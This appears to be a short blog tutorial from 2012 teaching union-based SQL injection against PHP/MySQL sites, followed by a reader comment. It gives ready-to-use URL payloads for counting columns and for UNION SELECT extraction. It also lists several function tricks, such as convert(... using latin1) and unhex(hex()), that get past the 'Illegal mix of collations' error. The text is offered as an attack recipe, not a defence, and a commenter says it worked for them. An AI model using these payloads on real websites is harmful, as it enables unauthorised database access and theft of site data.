Bypass "Illegal mix of collations" error
Here is my first tutorial to help the community, I hope it is helpful and sorry if my English is not good
Immediately started counting the columns:
Code:
http://www.yoursite.com/news_dett.php?id=30+ORDER+BY+9--
Proceed with a union based injection:
Code:
http://www.yoursite.com/news_dett.php?id=-30+UNION+SELECT+1,2,3,4,5,6,7,8--
Proceed trying to find the version of MySQL:
Code:
http://www.yoursite.com/news_dett.php?id=-30+UNION+SELECT+1,2,3,4,5,version( ),7,8--
Code:
SQL Error : Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
example:
Code:
http://www.yoursite.com/news_dett.php?id=-30+UNION+SELECT+1,2,3,4,5,convert(version( ) using latin1) ,7,8--
©2012, copyright BLACK BURN
Brilliant to say the least. I successfully bypass my SQLi using your commands.
ReplyDeleteThanks heaps,
mothered.